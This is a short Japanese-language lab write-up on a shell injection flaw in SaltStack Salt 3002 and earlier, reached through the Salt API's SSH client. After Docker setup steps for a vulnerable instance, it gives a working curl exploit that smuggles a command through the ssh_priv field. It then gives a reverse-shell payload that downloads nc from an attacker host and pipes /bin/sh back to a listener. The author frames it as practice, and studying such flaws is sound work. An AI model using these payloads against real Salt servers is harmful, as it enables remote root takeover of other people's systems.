
脆弱性の説明: SaltStack Salt 3002 以前で問題が発見されました。SSH クライアントが有効な状態で細工された Web リクエストを Salt API に送信すると、シェルインジェクションが発生する可能性があります。この脆弱性の詳細は、以下で確認できます:
練習と学習を目的として、私は脆弱なインスタンスを作成し、それをエクスプロイトすることにしました。
脆弱なバージョン: https://github.com/saltstack/salt/releases/tag/v3002
Ubuntu 20.04.03 でテスト済み
Dockerfile を使用して、Docker 内に脆弱なインスタンスを作成します。
Ubuntu VM 上に脆弱なインスタンスを作成したい場合は、salt_setup.sh を実行します。
docker build -t salt-image .
コンテナを実行してポートを公開します(実際にエクスプロイトするために必要なのは 8080 のみです)
docker run -p4506:4506 -p4505:4505 -p8000:8000 -it salt-image:latest

curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"|id>/tmp/test #"}'

リバースシェル
root@kali:~# curl -i $salt_ip_addr:$salt_api_port/run -H "Content-type: application/json" -d '{"client":"ssh","tgt":"A","fun":"B","eauth":"C","ssh_priv":"| /usr/bin/wget http://$attacker_ip/nc -O /root/nc; chmod +x /root/nc; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|/root/nc $attacker_ip $listener_port >/tmp/f #"}'
